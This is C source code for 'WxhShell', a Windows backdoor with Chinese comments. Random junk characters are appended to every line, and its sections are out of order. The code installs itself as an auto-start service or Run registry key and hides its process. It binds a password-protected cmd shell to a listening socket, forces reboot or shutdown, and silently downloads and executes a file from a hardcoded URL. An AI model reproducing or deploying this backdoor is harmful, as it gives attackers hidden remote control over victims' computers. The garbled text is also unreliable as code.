    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UtpK"U$XOU  
    if(Boot(SHUTDOWN)) R9-Ps qmF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (mR ;MC  
    else { }O7!>T  
    closesocket(wsh); pS) &d4i  
    ExitThread(0); oh @|*RU  
    } #mFY?Zp)  
    break; YXFUZ9a#e  
    } axpn*(yE  
  // 获取shell ,cF $_7M  
  case 's': { JvI6+[  
    CmdShell(wsh); 'Cq)/}0  
    closesocket(wsh); C7hJE -  
    ExitThread(0); fxcCz 5  
    break; '^6jRI,  
  } i*3*)ly  
  // 退出 +{7/+Zz  
  case 'x': { W["c3c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IW~q,X+`V  
    CloseIt(wsh); v ?OIK=Xm  
    break; p10i_<J]=  
    } ]Av)N6$&-Z  
  // 离开 Wh7}G   
  case 'q': { Y}aaW[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &4 ~C%{H3  
    closesocket(wsh); $I$ B8  
    WSACleanup(); V`,tu `6  
    exit(1); 9Q.}jV  
    break; l`V^d   
        } [ELg:f3}5  
  } NZaMF.  
  } Y \oz9tf8  
e5HHsR6  
  // 提示信息 '(.vB~m7*+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wV& UB@  
} Q"Ur*/-U  
  } s6F^z\6  
O"c@x:i  
  return; -h|YS/$f  
} RY\[[eG  
G*].g['  
// shell模块句柄 ,|Xibfw  
int CmdShell(SOCKET sock) { d*?O  
{ 4^>FN"Ve`B  
STARTUPINFO si; 7c7:B2Lq  
ZeroMemory(&si,sizeof(si)); !#' y#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P+/6-CJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )=EJFQ*v  
PROCESS_INFORMATION ProcessInfo; "6} #65  
char cmdline[]="cmd"; +kdZfv>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mY& HK)  
  return 0; [$+N"4  
} 9U=~t%qW$  
?yq $ >Qba  
// 自身启动模式 YS|Ve*t(L=  
int StartFromService(void) -$0w-M8'  
{ Z'ZN^j{  
typedef struct -sqoE*K[8  
{ jy kY8;4  
  DWORD ExitStatus; m~x O;_m  
  DWORD PebBaseAddress; Y7L1`<SC  
  DWORD AffinityMask; ex}6(;7)O  
  DWORD BasePriority; 7z@Jw  
  ULONG UniqueProcessId; E#I^D/0  
  ULONG InheritedFromUniqueProcessId; O&( @Ka  
}   PROCESS_BASIC_INFORMATION; sfuA {c'v  
]>%M%B  
PROCNTQSIP NtQueryInformationProcess; XSDudL  
x 8v2mnk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PL6f**{-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ v21b?   
=Kh1 HU.F  
  HANDLE             hProcess; =4H"&Eu{  
  PROCESS_BASIC_INFORMATION pbi; Hb :@]!r>  
ns/L./z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $RJpn]d j  
  if(NULL == hInst ) return 0; qL 0{w7  
k#Bq8d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }c1?:8p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r:QLO~l/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N7WQ{/PSG  
n\x@~ SzrX  
  if (!NtQueryInformationProcess) return 0; JF%_8Ye5  
M6mJ'Q482  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'GJ'Vli  
  if(!hProcess) return 0; pk&;5|cCD  
i[\`]C{gf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $^XCI%DH  
{G^f/%  
  CloseHandle(hProcess); 3 %'Y):  
xD|CQo}:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N)tqjq  
if(hProcess==NULL) return 0; w]ZE('3%W  
OU /=wpt  
HMODULE hMod; k:JlC(^h  
char procName[255]; cIJqF.k  
unsigned long cbNeeded; 9R6]OL)p  
/ivA[LSS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z91GM1lrf8  
+l8`oQuG  
  CloseHandle(hProcess); =,4iMENm!  
X":T>)J-  
if(strstr(procName,"services")) return 1; // 以服务启动 I6B`G Im5  
ztRe\(9bL  
  return 0; // 注册表启动 ),u)#`.l G  
} ]@rt/ eX  
}+wvZq +c  
// 主模块 )>X C_ R  
int StartWxhshell(LPSTR lpCmdLine) r`8>@2sW1  
{ /eI]!a  
  SOCKET wsl; 6bXP{,}Gp  
BOOL val=TRUE; TjswB#  
  int port=0; <8[y2|UBt  
  struct sockaddr_in door; wP: w8O  
:w+2L4lGs  
  if(wscfg.ws_autoins) Install(); ~s[St0  
" Om4P|  
port=atoi(lpCmdLine); c%bGVRhE  
(*CGZDg  
if(port<=0) port=wscfg.ws_port; w.2[Xx~  
9jC>OZ0s  
  WSADATA data; +"HLx%k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F}C.F  
TcP (?v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >2%*(nL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `BA,_N|6  
  door.sin_family = AF_INET; N;A#K 7A[@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5,,b>Z<  
  door.sin_port = htons(port); F ^mMyK  
* t-Wol  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2 u{"R  
closesocket(wsl); UDUj  
return 1; wj$J} F  
} 5jb/[i^V  
U~)i&":sN  
  if(listen(wsl,2) == INVALID_SOCKET) { \~O}V~wE  
closesocket(wsl); AdWLab;  
return 1; @2>j4Sc  
} \>%.ktG  
  Wxhshell(wsl); REe<k<>p~  
  WSACleanup(); >Wbt_%dKy  
l1utk8'-  
return 0; :4(.S<fH)-  
uoIvFcb^  
} D_W,Jmet  
o_K. +^$  
// 以NT服务方式启动 Z|h&Zd1z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =mq02C~y  
{ 7P!Hryy  
DWORD   status = 0; k^vsQ'TD  
  DWORD   specificError = 0xfffffff;  @o g&l;  
JQp::,g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,vnHEY&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4%]wd}'#Un  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bc{ {a  
  serviceStatus.dwWin32ExitCode     = 0; EC]b]'._  
  serviceStatus.dwServiceSpecificExitCode = 0; .8O.  
  serviceStatus.dwCheckPoint       = 0; 0)?.rthk4S  
  serviceStatus.dwWaitHint       = 0; kp4(_T7R  
=y>g:}G7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0CTUcVM#9  
  if (hServiceStatusHandle==0) return; sUki|lP  
g20,et  
status = GetLastError(); X;hV+| Bo  
  if (status!=NO_ERROR) )<vU F]e~  
{ ,xJ1\_GI`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~ e4Pj`?=K  
    serviceStatus.dwCheckPoint       = 0; j> ?0Y  
    serviceStatus.dwWaitHint       = 0; "|\G[xLOaW  
    serviceStatus.dwWin32ExitCode     = status; 6;:s N8M+1  
    serviceStatus.dwServiceSpecificExitCode = specificError; m-M.F9R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n&51_.@Q  
    return; JS&=V 67[  
  } _"Bh 3 7  
TCC([  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I`~ofq?r  
  serviceStatus.dwCheckPoint       = 0; rTgCmr'&  
  serviceStatus.dwWaitHint       = 0; ^D{!!)O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3miEF0x[  
} TxN'[G  
JIGoF  
// 处理NT服务事件,比如:启动、停止 ~Lyy7 B9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 905%5\Y  
{ NJVAvq2E.  
switch(fdwControl) RwG@C|sG  
{ h{R>L s  
case SERVICE_CONTROL_STOP: [|XMR=\>  
  serviceStatus.dwWin32ExitCode = 0; ?_!} lg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;Tn$c70  
  serviceStatus.dwCheckPoint   = 0; +;H-0Q5  
  serviceStatus.dwWaitHint     = 0; G<S(P@ss  
  { RoG `U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c']3N  
  } z^KMYvH g  
  return; e)Be*J]4  
case SERVICE_CONTROL_PAUSE: 4FWb5b!A=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XJs*DK  
  break; \5MW65  
case SERVICE_CONTROL_CONTINUE: )_|;h2I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tqnvC UIE  
  break; Vm_waa  
case SERVICE_CONTROL_INTERROGATE: }bW"Z2^nB  
  break; Y6>@zznk  
}; J`&*r;""V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7kQZ$sLc  
} Ic%c%U=i  
2=&4@c|cn  
// 标准应用程序主函数  Stzv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z|8oD*,  
{ WB: NV=&^  
'_f]qNy  
// 获取操作系统版本 8f""@TTp  
OsIsNt=GetOsVer(); JDQ7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ot"3 3I  
E3):8>R;1  
  // 从命令行安装 gJkk0wok C  
  if(strpbrk(lpCmdLine,"iI")) Install(); W'>"E/Tx#O  
yJ\K\\]  
  // 下载执行文件 *?'^R c  
if(wscfg.ws_downexe) { V<ZohB?y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K,!"5WrX*  
  WinExec(wscfg.ws_filenam,SW_HIDE); W+F^(SC\  
} u9TiEEof3  
<"93  
if(!OsIsNt) { \c"{V-#o\  
// 如果时win9x,隐藏进程并且设置为注册表启动 %Km^_JM  
HideProc(); oVG/[e|c'  
StartWxhshell(lpCmdLine); /M}jF*5N  
} 69z,_p$@:  
else w?r   
  if(StartFromService()) D4@'C4kL  
  // 以服务方式启动 ~^&]8~m*d  
  StartServiceCtrlDispatcher(DispatchTable); jp~C''Sj  
else #s4v0auK  
  // 普通方式启动 #- l1(m  
  StartWxhshell(lpCmdLine); +@U}gk;#c  
 rq[+p  
return 0; d]89DdZk  
} )_m#|U?Rex  
[>rX/a%c  
x&ngCB@O  
pj~Ao+  
=========================================== +"u6+[E  
i]>)'i  
?)8OC(B8q  
F5hOKUjv  
NrHh(:  
H pZD^h?L  
" MJ=(rp=YU9  
]M:=\h,t>  
#include <stdio.h> Sk ~( t  
#include <string.h> 0Gq}x;8H&  
#include <windows.h> 'b?Px}  
#include <winsock2.h> (M>[D!Yt  
#include <winsvc.h> B 66-l!xa  
#include <urlmon.h> -f{NVX\<0  
~ AU!Gm.  
#pragma comment (lib, "Ws2_32.lib") }i)^?@  
#pragma comment (lib, "urlmon.lib") 4Jf6uhaE  
4iDlBs+  
#define MAX_USER   100 // 最大客户端连接数 >~nc7j u  
#define BUF_SOCK   200 // sock buffer d0b`qk @4  
#define KEY_BUFF   255 // 输入 buffer gcaXN6C  
ckglDhC  
#define REBOOT     0   // 重启 )L,.K O  
#define SHUTDOWN   1   // 关机 5._=m"Pl  
Za*QX|  
#define DEF_PORT   5000 // 监听端口 P5qY|_  
q|;Sn  
#define REG_LEN     16   // 注册表键长度 #o(c=  
#define SVC_LEN     80   // NT服务名长度 VGHy|5K$  
@T }p.  
// 从dll定义API 8hKyp5(%l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9XH}/FcP_O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6 4fB$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =;) M+"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ogOUrJ}P  
QSaJb?I  
// wxhshell配置信息 `egyk)"aM  
struct WSCFG { _&U5 u  
  int ws_port;         // 监听端口 A9?h*/$  
  char ws_passstr[REG_LEN]; // 口令 /]_a\x5Ss  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;RmL'  
  char ws_regname[REG_LEN]; // 注册表键名 rA">< pH  
  char ws_svcname[REG_LEN]; // 服务名 P B W.nm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ug|'}\LY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v0d<P2ix  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ykt{]#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5S;|U&f|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )\!-n]+A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JfrPK/Vn  
zv Dg1p  
}; A.5N<$l  
w b@Zna  
// default Wxhshell configuration Sh]g]xR  
struct WSCFG wscfg={DEF_PORT, cNd;qO0$  
    "xuhuanlingzhe", 4X()D {uR  
    1, %Ob#GA+  
    "Wxhshell", MPn 6sf9M  
    "Wxhshell", $69ef[b  
            "WxhShell Service", bnm3 cR:h"  
    "Wrsky Windows CmdShell Service", lrE|>R  
    "Please Input Your Password: ", _YT9zG  
  1, 1]yjhw9g  
  "http://www.wrsky.com/wxhshell.exe", aDae0$lc.S  
  "Wxhshell.exe" P ]prrKZe,  
    }; AXQG  
@S-p[u  
// 消息定义模块 -f4>4@y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B(omD3jzN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hPM:=@ N$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uia[>&2  
char *msg_ws_ext="\n\rExit."; 3hPj;-u  
char *msg_ws_end="\n\rQuit."; x'uxSeH$  
char *msg_ws_boot="\n\rReboot..."; }gfs  
char *msg_ws_poff="\n\rShutdown..."; ~@v<B I  
char *msg_ws_down="\n\rSave to "; P XH"%vVF  
MV~-']2u  
char *msg_ws_err="\n\rErr!"; :'t+*{ff  
char *msg_ws_ok="\n\rOK!"; W{{{c2 .  
VkD8h+)  
char ExeFile[MAX_PATH]; NY& |:F  
int nUser = 0; Gp PlO]  
HANDLE handles[MAX_USER]; <21@jdu3n,  
int OsIsNt; Hy_}e"  
h|DKD.  
SERVICE_STATUS       serviceStatus; DM73 Nn^5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z6`oGFq  
n*HRGJ  
// 函数声明 .QaHE`e{  
int Install(void); gk*Md+  
int Uninstall(void); 6?CBa]QG  
int DownloadFile(char *sURL, SOCKET wsh); =LsW\.T6  
int Boot(int flag); 9AbSt&#  
void HideProc(void); M[Kk43;QY!  
int GetOsVer(void); $;ssW"7~Qn  
int Wxhshell(SOCKET wsl); z;74(5?q  
void TalkWithClient(void *cs); I|{A&G}|q  
int CmdShell(SOCKET sock); Z Rjqjx  
int StartFromService(void); 3=SN;cn  
int StartWxhshell(LPSTR lpCmdLine); D+y_&+&,t  
,%L>TD'48s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <gdKuoY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p-6(>,+E[  
EJbFo682  
// 数据结构和表定义 ,IODV`L  
SERVICE_TABLE_ENTRY DispatchTable[] = Sv E|"  
{  <0,szw  
{wscfg.ws_svcname, NTServiceMain}, s[ CnJZ\q  
{NULL, NULL} 0( s io\  
}; H/eyc`  
bay7%[BLB  
// 自我安装 1e0O-aT#Q  
int Install(void) !.(%"  
{ )RQX1("O  
  char svExeFile[MAX_PATH]; j.5;0b_L^  
  HKEY key; 9Xr@ll  
  strcpy(svExeFile,ExeFile); RZV8{  
d+6 by,'  
// 如果是win9x系统,修改注册表设为自启动 $c WO`\XM  
if(!OsIsNt) { ~(|~Ze>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2K 8?S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o*L#S1yL  
  RegCloseKey(key); e-taBrl;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kH)JBx.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GmA5E  
  RegCloseKey(key); ,sM>{NK 9R  
  return 0; ,w+}Evp])  
    } $p} /&  
  } WLb *\  
} u_5O<UP5  
else { xyoh B#'W  
)ny,vcU]  
// 如果是NT以上系统,安装为系统服务 LGOeBEAMV^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .q>4?+  
if (schSCManager!=0) &|:T+LVv$+  
{ P p}N-me>_  
  SC_HANDLE schService = CreateService Z1(-FT6O  
  ( T@GR Tg  
  schSCManager, ()E:gq Q  
  wscfg.ws_svcname, +hz^( I7  
  wscfg.ws_svcdisp, S[J=d%(  
  SERVICE_ALL_ACCESS, }x[d]fcC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dm3/i |Y  
  SERVICE_AUTO_START, 3,snx4q (  
  SERVICE_ERROR_NORMAL, pY3N7&m\:  
  svExeFile, Ozygr?*X  
  NULL, ~okIiC]#  
  NULL, bi fi02  
  NULL, G]Jchg <  
  NULL, 8\M%\]_  
  NULL ~)S Q{eK?&  
  ); pearf2F  
  if (schService!=0) >};6>)0  
  { zEQ<Q\"1  
  CloseServiceHandle(schService); [ imC21U  
  CloseServiceHandle(schSCManager); ,sAN,?eG~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [n`SXBi+n  
  strcat(svExeFile,wscfg.ws_svcname); X9:(}=E V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LE15y>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xLE+"6;W  
  RegCloseKey(key); U`j[Ni}"  
  return 0; cU y,q]PO  
    } [_3Rhp:  
  } >!j= {hK  
  CloseServiceHandle(schSCManager); W~1/vJ.*l  
} JlR'w]d M,  
} $RQ7rL3g{  
&h7q=-XU   
return 1; `0r=ND5.  
} X^tVq..0  
oCLs"L-r{  
// 自我卸载 3^LSK7.:  
int Uninstall(void) I5"ew=x#  
{ M y:9  
  HKEY key; CS 7"mE`{  
 s*gyk  
if(!OsIsNt) { z.H*"r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lR!Sdd} -  
  RegDeleteValue(key,wscfg.ws_regname); (% fl  
  RegCloseKey(key); CfMq?.4%E}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &FWPb#  
  RegDeleteValue(key,wscfg.ws_regname); _v=@MOI/J  
  RegCloseKey(key); ]Q\Ogfjp  
  return 0; D_6GzgZ  
  } :x*8*@kC  
} ~P*t_cpZ  
} lN,8(n?g  
else { E"Z9 NDgl#  
wHW";3w2~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Lw=.LN  
if (schSCManager!=0) PmtBu`OkV  
{ _tfZg /+)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fj9/@pe1  
  if (schService!=0) @<]xbWhuw  
  { XpzdvR1  
  if(DeleteService(schService)!=0) { w;.'>ORC  
  CloseServiceHandle(schService); ZQvpkO7}M  
  CloseServiceHandle(schSCManager); mMqT-jT  
  return 0; $+IE`(Ckf  
  } z8 bDBoD6  
  CloseServiceHandle(schService); q+{-p?;;  
  } U[zY0B  
  CloseServiceHandle(schSCManager); \lKiUy/  
} ?Z@FxW  
} XA~Rn>7&H  
<zN  
return 1; ;lST@>  
} z_#B 4  
uQN8/Gy*J  
// 从指定url下载文件 47_4`rzy;  
int DownloadFile(char *sURL, SOCKET wsh) ?~rF3M.=|  
{ O)MKEMuA  
  HRESULT hr; QD LXfl/  
char seps[]= "/"; 9&A-o  
char *token; %zHNX4  
char *file; ^4Ra$<  
char myURL[MAX_PATH]; U,C L*qTF  
char myFILE[MAX_PATH]; d:0RDK-}s  
N2_j[Pe  
strcpy(myURL,sURL); W[o~AbU  
  token=strtok(myURL,seps); {& G7 Xa  
  while(token!=NULL) w,NK]<dU@  
  { e{/(NtKf  
    file=token; |U?5% L  
  token=strtok(NULL,seps); yhe$A<Rl=  
  } .~V0>r~my  
w:Fi 2aJ  
GetCurrentDirectory(MAX_PATH,myFILE); 8uoFV=bj\  
strcat(myFILE, "\\"); b r)oSw  
strcat(myFILE, file); @v9 PI/c  
  send(wsh,myFILE,strlen(myFILE),0); ]GYO`,  
send(wsh,"...",3,0); S .rT5A[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kZ+nL)YQ#  
  if(hr==S_OK) ^RG6h  
return 0; : j&M&+  
else KO(+%>^R  
return 1; XM3N>OR.  
@.fuR#  
} "GP!]3t  
irCS}Dbw  
// 系统电源模块 euM7> $`  
int Boot(int flag) $}<+~JpGfP  
{ wJJ4F$"b  
  HANDLE hToken; BQv+9(:fQB  
  TOKEN_PRIVILEGES tkp; FG7}MUu  
|,bsMJh0  
  if(OsIsNt) { ]]$s"F<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *L8Pj`zR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0U]wEz*b  
    tkp.PrivilegeCount = 1; 80cBLGG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q{ov62t`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {*H&NI  
if(flag==REBOOT) { Pze$QBNoRd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \t'(&taX<  
  return 0; w!)B\l^+c  
} m;{_%oQ;  
else { Nm%&xm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |@={:gRJ{x  
  return 0; -UkP{x)S  
} >z6 (fM`i  
  } >`p`^:  
  else { )JE;#m0q  
if(flag==REBOOT) { aksyr$d0V<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C$\|eC j  
  return 0; <OF7:f  
} o:_}=1nh  
else { s S8Z5k;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) km'3[}8o&  
  return 0; A!s\;C  
} s M({u/  
} >e*m8gm#  
A1@tp/L=o  
return 1; ~fB: >ceD  
} d<. hkNN  
blph&[`}I  
// win9x进程隐藏模块 wly#|  
void HideProc(void) |$#u~<r_ w  
{ Ol:&cX3G  
LF <fp&C)h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }6.R.*Imz  
  if ( hKernel != NULL ) :kqJ~  
  { Dna0M0   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z5;1ySn{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $6h:j#{JE  
    FreeLibrary(hKernel); U?JZ23>bbw  
  } >- ]tOH,0  
,Cj1S7GFR  
return; /K2VSj3\  
} 0P sp/H%  
),0_ C\  
// 获取操作系统版本 `h_,I R<  
int GetOsVer(void) >>=lh  
{ }N(-e$88  
  OSVERSIONINFO winfo; E"bYl3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WM NcPHcj  
  GetVersionEx(&winfo); :y%%Vx~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (;P)oB"`C  
  return 1; 0G1?  
  else 6#fl1GdH-  
  return 0; cjsQm6  
} {S(?E_id5b  
q17c)]<"  
// 客户端句柄模块 x;S v&  
int Wxhshell(SOCKET wsl) qI\qpWS\  
{ ii0AhQ  
  SOCKET wsh; 'YQ"Lf  
  struct sockaddr_in client; {NXc<0a(  
  DWORD myID; 6ND,4'6  
Zalgg/.  
  while(nUser<MAX_USER) Kvv&# eO\  
{ LGKkT?fcSC  
  int nSize=sizeof(client); FOgF'!K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }UZ$<81=  
  if(wsh==INVALID_SOCKET) return 1; 6Lz{/l8  
-X5rGp++  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {o< 4 ^  
if(handles[nUser]==0) aM5zYj`pW  
  closesocket(wsh); ~PP*k QZlJ  
else vC[)/w  
  nUser++; v5i[jM8  
  } !OekN,6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o0&jel1a  
|Y|{9Osus  
  return 0; B;Ab`UX#t  
} 5WgdgDb@L  
DtG><g}[]  
// 关闭 socket |1X^@  
void CloseIt(SOCKET wsh) ~Y@(  
{ e4u$+  
closesocket(wsh); qCOv4b`  
nUser--; >/nS<y>  
ExitThread(0); VS@o_fUx)  
} kX."|]  
E8J `7sa  
// 客户端请求句柄 +Tc<|-qQn  
void TalkWithClient(void *cs) OsPx-|f S~  
{ zI8Q "b  
e5maZ(.;F  
  SOCKET wsh=(SOCKET)cs; n c:^)G  
  char pwd[SVC_LEN]; &N GYV  
  char cmd[KEY_BUFF]; RN238]K  
char chr[1]; &^FCp'J-  
int i,j; iq-n(Rfw~  
2-j+-B|i  
  while (nUser < MAX_USER) { ,.uu/qV}w  
RzQ1Wq  
if(wscfg.ws_passstr) { 55MsF}p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8:0QIkqk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3]WIN_h  
  //ZeroMemory(pwd,KEY_BUFF); =_I2ek  
      i=0; %/b?T]{  
  while(i<SVC_LEN) { frbKi _1  
ZXljCiNn+\  
  // 设置超时 01}az~&;35  
  fd_set FdRead; j0^~="p%C  
  struct timeval TimeOut; JDfkm+}uY  
  FD_ZERO(&FdRead); |4aV~n[>#  
  FD_SET(wsh,&FdRead); f!a[+^RB:  
  TimeOut.tv_sec=8; Q ,30  
  TimeOut.tv_usec=0; 7kx)/Rw\B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cOcF VPQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p;`jmF   
z8{ kwz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); trnjOm  
  pwd=chr[0]; 8<t6_* f  
  if(chr[0]==0xd || chr[0]==0xa) { Pe8W Br;`  
  pwd=0; z kQV$n{  
  break; R}c,ahd  
  } DvHcT] l>5  
  i++; ^;@q^b)ZP  
    } m]} E0  
Or= [2@Wg  
  // 如果是非法用户,关闭 socket \~d|MP}"F:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~4y&]:I  
} F&.iY0Pt  
I=6\z^:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $cEl6(66iX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \{@s@VBx[  
Kl GPu GL  
while(1) { j9u/R01d  
_7#Ng@#\  
  ZeroMemory(cmd,KEY_BUFF); ]3wg-p+  
sufidi  
      // 自动支持客户端 telnet标准   _"SE^_&c  
  j=0; Ke '?  
  while(j<KEY_BUFF) { rCi7q]_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [H)NkR;I  
  cmd[j]=chr[0]; v]\io#   
  if(chr[0]==0xa || chr[0]==0xd) { J * $u  
  cmd[j]=0; H|k!5W^  
  break; W&ya_iP~C  
  } !c[(#g  
  j++; =fG c?PQ  
    } =k6zUw;5 U  
}Iz'#I Xx  
  // 下载文件 +gqtW8 6  
  if(strstr(cmd,"http://")) { \?7)oFNz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0H,1"~,w]  
  if(DownloadFile(cmd,wsh)) {%5k1,/(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U1bhd}MoR  
  else *#-X0}'s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RX8$&z  
  } &M(=#pq9  
  else { tgK$}#.*  
